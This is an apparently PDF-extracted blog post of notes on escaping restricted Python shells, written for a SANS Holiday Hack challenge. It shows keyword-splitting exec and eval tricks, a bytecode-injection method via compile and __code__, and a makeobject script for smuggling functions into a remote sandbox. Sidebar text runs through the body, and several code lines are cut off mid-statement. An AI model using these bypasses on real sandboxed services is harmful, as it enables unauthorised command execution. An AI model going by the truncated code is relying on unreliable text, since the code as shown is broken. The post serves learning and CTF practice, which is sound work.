Hackerman's Hacking Tutorials
The knowledge of anything, since all things have causes, is not acquired or complete unless it is known
by its causes. - Avicenna
About Me! Cheat Sheet My Clone How This Website is Built The Other Guy from Wham! Search
Who am I?
JAN 19, 2019 - 3 MINUTE READ - COMMENTS - PYTHON
I am Parsia, a security
Notes on Escaping Python Shells engineer at Electronic Arts.
I write about application
security, reverse engineering,
Overwrite/Reload Python Modules Go, cryptography, and
Python as Child Process (obviously) videogames.
exec
Click on About Me! to know
eval
more.
compile
exec, eval, import and compile are blocked
During the SANS Holiday Hack Challenge 2018, I viewed a talk by Mark Baggett about
escaping Python shells. These are my notes.
Talk: [Link]
Code: [Link] Collections
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
It's part of SANS SEC573: Automating Information Security with Python which looks Thick Client Proxying
interesting. Although, I am Go fanatic and will probably will never be able to afford to course
Go/Golang
anyways. Creating a Go version of the course sounds fun.
Blockchain/Distributed
Overwrite/Reload Python Modules Ledgers
Automation
Overwrite them in memory:
import sys Reverse Engineering
[Link]['os'].system = lamba *x,**y:"STOP HACKING"
del sys Crypto(graphy)
# now if I want to run it CTFs/Writeups
import os
WinAppDbg
[Link]("ls")
# I get stop hacking
[Link] - S3 bucket
'STOP HACKING'
squatting - my very legit
branded vulnerability
To defeat, we can reload them in Python 3 with importlib
import importlib
[Link](os)
Python as Child Process
Python interpreter is launched as a child process and then keywords are ltered with
readfunc() .
exec
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Executes Python code that does not return a result. Break the statements into pieces and run
them.
exec("imp" + "ort os")
[Link]("id")
eval
Executes Python code that returns a result.
os = eval('__im' + 'port__("os")') # __import__("os")
[Link]("id")
compile
Turns a string into bytecode.
code = compile("im" + "port os", "", "single") # single means only compile this single
# now we need to execute it
# make a function that does nothing
def a():
return
# and overwrite it
a.__code__ = code
# execute it
a()
# now os should be imported
[Link]("id")
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
exec, eval, import and compile are blocked
Go to a different Python interpreter, make the function you want. Interpreter versions should
somewhat match (e.g. both 2.7 or 3.5):
def bypass():
import os
print([Link]("id"))
Paste make_object.py from
[Link] le-make_object-
py this function into the 2nd interpreter:
import sys
def makeobject(afunction):
print("Generating a function for version {}.{} (same version as this machine)".forma
newstr = ""
newstr += "def a():\n"
newstr += " return\n\n"
if sys.version_info.major == 2:
co = afunction.__code__
if sys.version_info.minor not in [5,6,7]:
print("This code has not been tested on this version of python. It may not
newstr += "a.__code__ = type(a.__code__)({0},{1},{2},{3},'{4}',{5},{6},{7},'{8}'
elif sys.version_info.major == 3:
co = afunction.__code__
if sys.version_info.minor not in [5]:
print("This code has not been tested on this version of python. It may not
newstr += "a.__code__ = type(a.__code__)({0},{1},{2},{3},{4},{5},{6},{7},{8},'{9
else:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
print("This version of python is not tested and may not work")
print(newstr)
Now call makeobject(bypass) to get the bytecode for it. It gives a string that can be
copy/pasted into the remote system. It will create a function called a and then bytecode for
it that does what bypass does. Might need to break the keywords into a string again (e.g.
"import" to "im" + "port" ).
Unsurprisingly, the challenge used this method. See my solution to Python Escape from LA.
Posted by Parsia • Jan 19, 2019
SANS Holiday Hack Challenge 2018 Solutions Cheating at Moonlighter - Part 1 - Save File
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
0 Comments Parsiya
1 Login
Recommend t Tweet f Share Sort by Best
Start the discussion…
LOG IN WITH
OR SIGN UP WITH DISQUS ?
Name
Be the first to comment.
✉ Subscribe d Add Disqus to your site 🔒 Disqus' Privacy Policy
Copyright © 2019 Parsia - License - Powered by Hugo and Hugo-Octopress theme.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD